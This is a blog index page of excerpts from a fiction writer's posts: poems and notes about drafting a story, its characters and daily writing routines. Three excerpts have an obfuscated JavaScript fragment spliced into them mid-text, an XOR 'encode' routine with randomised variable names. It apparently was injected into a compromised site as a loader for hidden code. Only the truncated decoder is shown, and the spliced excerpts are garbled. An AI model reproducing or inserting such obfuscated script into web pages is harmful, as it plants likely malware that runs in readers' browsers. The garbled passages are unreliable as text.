With masquerade masks, and flaming swords My characters dance around I think I'll bury them all alive And hope they're never found.    var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ … Continue reading Chaos

I'm desperately trying to salvage you Your scattered limbs and hands Organizing severed parts With tape and rubber bandsvar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = … Continue reading Cry for my Story

This is ES. Recently, as my plot progressed, I considered bidding her a sad goodbye, because I didn’t know if I had space to develop her character. But yesterday as I was throwing snowballs with the kids I realized I had to keep her. Her friendship with the protagonist reminds me of my own personal … Continue reading Please Stay

I am writing a story without an outline. That means I am floating on the ocean, without a map. And sometimes it gets stormy. Words toss and splash around me---familiar words, that used to make sense. Now they look strange and unfriendly. Oh look! There's a lighthouse. It's an exerpt of my story. These words … Continue reading A Lighthouse, A Melody

  Blaise is overjoyed about the snow. He ran around and caught snowflakes on his tongue outside the gym. Now we are driving home, and my mind wanders. I'm glad I got a little time to write upstairs in the gym after my workout. I feel like I made progress. What is that sudden pang … Continue reading Driving Home

I have been making faces for my characters. This is E.T.   One possible face.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } … Continue reading One Possible Face

Hello Z. Welcome to my story. As you can see there are already a lot of people here, and they are eager to meet you. But you probably recognize them. I do realize that you were spying on us the whole time. I felt your presence, but I didn't know it was you until two … Continue reading Hello, Z.

I am working on reconstructing my plot. It is exciting and exhausting. The more I write, the more my characters become pitted against each other in a complicated web of tantalizing relationships. The simultaneous existence of love and deception in these relationships has me fascinated. Perhaps most exciting of all: a new character has emerged. … Continue reading Reconstructing Revelation

I wrote three pages of my story today--a little on the computer at the dining room table before anyone else woke up, and a little with a pencil in my journal at the gym after working out. It was mostly dialogue between three of the main characters. Not much action---that was the last chapter. And … Continue reading Three pages